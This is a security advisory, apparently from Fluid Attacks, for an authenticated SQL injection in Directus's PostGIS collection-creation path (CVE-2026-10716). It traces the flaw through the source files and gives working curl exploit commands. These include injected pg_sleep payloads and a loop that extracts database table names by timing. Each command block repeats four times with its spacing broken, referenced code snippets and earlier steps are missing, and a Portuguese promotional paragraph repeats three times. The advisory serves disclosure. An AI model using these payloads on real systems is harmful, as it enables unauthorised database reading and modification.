Directus <12.1.0 contains an authenticated SQL injection vulnerability in the collection creation flow when the instance uses PostgreSQL with PostGIS enabled. An administrator can create a collection with a geometry field whose fields[].type value starts with geometry but contains attacker-controlled SQL syntax after the geometry subtype.
During POST /collections, Directus passes the request body to CollectionsService.createOne(), iterates over payload.fields, and delegates geometry fields to the PostgreSQL geometry helper. The helper extracts the geometry subtype with field.type.split('.')[1] and interpolates it directly into a raw schema type fragment:
Because Knex specificType() emits the supplied type string literally in the generated DDL, a malicious subtype can close the expected geometry(...) expression and append arbitrary SQL statements. The issue is exploitable as a time-based blind SQL injection using payloads such as SELECT pg_sleep(...).
The check accepts any value beginning with geometry, not only the supported geometry types such as geometry.Point, geometry.LineString, or geometry.Polygon.
The PostgreSQL helper inserts the subtype into raw DDL (api/src/database/helpers/geometry/dialects/postgres.ts:12-14):
Controller: api/src/controllers/collections.ts:31 passes req.body into CollectionsService.createOne().
Service flow: api/src/services/collections.ts:164-172 iterates over payload.fields while building trx.schema.createTable(...).
Geometry dispatch: api/src/services/fields.ts:952-953 sends any field.type beginning with geometry to this.helpers.st.createColumn(...).
SQL construction: api/src/database/helpers/geometry/dialects/postgres.ts:13-14 interpolates field.type.split('.')[1] into geometry(${type}, 4326).
Sink: Knex table.specificType(...) embeds the type string into the emitted CREATE TABLE statement without SQL neutralization.
Impact
An authenticated administrator, or any account with equivalent permission to create collections, can execute SQL in the context of the PostgreSQL database user configured for Directus.
Potential impact includes:
Time-based blind extraction of database data.
Unauthorized reading of application data through conditional timing probes.
Unauthorized modification or deletion of database contents if the configured database role permits it.
Availability impact through blocking SQL such as pg_sleep(...) or heavier database operations.
Execution of chained SQL statements in the collection creation DDL path.
The confirmed route requires high application privileges because collection creation is restricted to administrators in CollectionsService.createOne() (api/src/services/collections.ts:65-68). This reduces exposure but does not remove the vulnerability, because SQL injection lets that privileged application user cross from Directus authorization into direct database execution.
PoC
Preconditions
Directus v11.17.4.
PostgreSQL backend.
PostGIS enabled in the Directus database.
Administrator credentials or equivalent permission to create collections.
The HTTP response is delayed by approximately 10 seconds.
The delay does not occur with the legitimate geometry.Point baseline.
The timing difference confirms execution of attacker-controlled SQL.
Step 4 - Conditional timing check
True condition:
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_true_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
False condition:
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
RUN_ID=$(date +%s)curl-s-w'\nHTTP %{http_code} | %{time_total}s\n' \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"poc_false_${RUN_ID}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT CASE WHEN (1=2) THEN pg_sleep(3) ELSE pg_sleep(0) END; --\"}]}"
Expected result:
The true condition delays the response by approximately 3 seconds.
The false condition returns without a comparable delay.
This demonstrates a blind SQL injection primitive, not merely a malformed type error.
Step 5 - Blind data extraction pattern
The same primitive can test database-derived predicates. For example, the following pattern checks one candidate character at a time:
RUN_ID=$(date +%s)for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0123456789; docollection="probe_${RUN_ID}_${letter}"echo-n"[$letter] "curl-s-w'HTTP %{http_code} | %{time_total}s\n'-o /dev/null \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"done
RUN_ID=$(date +%s)for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0123456789; docollection="probe_${RUN_ID}_${letter}"echo-n"[$letter] "curl-s-w'HTTP %{http_code} | %{time_total}s\n'-o /dev/null \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"done
RUN_ID=$(date +%s)for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0123456789; docollection="probe_${RUN_ID}_${letter}"echo-n"[$letter] "curl-s-w'HTTP %{http_code} | %{time_total}s\n'-o /dev/null \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"done
RUN_ID=$(date +%s)for letter in a b c d e f g h i j k l m n o p q r s t u v w x y z _ 0123456789; docollection="probe_${RUN_ID}_${letter}"echo-n"[$letter] "curl-s-w'HTTP %{http_code} | %{time_total}s\n'-o /dev/null \
'http://127.0.0.1:8055/collections' \
-X POST \
-H'Content-Type: application/json' \
-H"Authorization: Bearer $TOKEN" \
--data-raw"{\"collection\":\"${collection}\",\"schema\":{},\"fields\":[{\"field\":\"geom\",\"type\":\"geometry.Point, 4326)); SELECT pg_sleep((SELECT CASE WHEN SUBSTRING(tablename FROM 1 FOR 1)='${letter}' THEN 3 ELSE 0 END FROM pg_tables LIMIT 1)); --\"}]}"done
A candidate producing a measurable delay reveals that the tested predicate is true.
Evidence of Exploitation
Video of exploitation:
Static evidence:
Our security policy
We have reserved the ID CVE-2026-10716 to refer to this issue from now on.
As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.
As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.